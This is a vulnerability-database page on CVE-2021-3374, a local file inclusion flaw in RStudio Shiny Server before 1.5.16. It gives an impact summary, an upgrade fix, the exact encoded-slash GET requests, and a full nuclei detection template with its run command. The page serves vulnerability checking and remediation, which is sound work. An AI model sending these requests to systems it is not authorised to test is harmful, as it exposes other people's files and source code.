HexBrain

Browse / CVEs / CVE-2021-3374

CVE-2021-3374· rstudio / shiny server· CWE-22

Rstudio Shiny Server <1.5.16 - Local File Inclusion

mediumseverity
5.3CVSS score
14.8%likelihood of exploitation, next 30 days
97%of all CVEs are less likely
Readycheck to confirm it

Rstudio Shiny Server prior to 1.5.16 is vulnerable to local file inclusion and source code leakage. This can be exploited by appending an encoded slash to the URL.

Impact

Successful exploitation of this vulnerability could allow an attacker to read arbitrary files on the server, potentially exposing sensitive information.

Fix

Upgrade Rstudio Shiny Server to version 1.5.16 or later to mitigate the vulnerability.

How to confirm it

Send: GET {{BaseURL}}/%2f/ ; GET {{BaseURL}}/sample-apps/hello/%2f/
Positive when: contains "Index of /" AND matches /[A-Za-z].*\.R/ AND status 200

Run it with nuclei: nuclei -id CVE-2021-3374 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2021-3374

info:
  name: Rstudio Shiny Server <1.5.16 - Local File Inclusion
  author: geeknik
  severity: medium
  description: Rstudio Shiny Server prior to 1.5.16 is vulnerable to local file inclusion and source code leakage. This can be exploited by appending an encoded slash to the URL.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read arbitrary files on the server, potentially exposing sensitive information.
  remediation: |
    Upgrade Rstudio Shiny Server to version 1.5.16 or later to mitigate the vulnerability.
  reference:
    - https://github.com/colemanjp/shinyserver-directory-traversal-source-code-leak
    - https://blog.rstudio.com/2021/01/13/shiny-server-1-5-16-update/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-3374
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2021-3374
    cwe-id: CWE-22
    epss-score: 0.14808
    epss-percentile: 0.96711
    cpe: cpe:2.3:a:rstudio:shiny_server:*:*:*:*:pro:*:*:*
  metadata:
    max-request: 2
    vendor: rstudio
    product: shiny_server
  tags: cve2021,cve,rstudio,traversal,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/%2f/"
      - "{{BaseURL}}/sample-apps/hello/%2f/"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "Index of /"

      - type: regex
        part: body
        regex:
          - "[A-Za-z].*\\.R"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from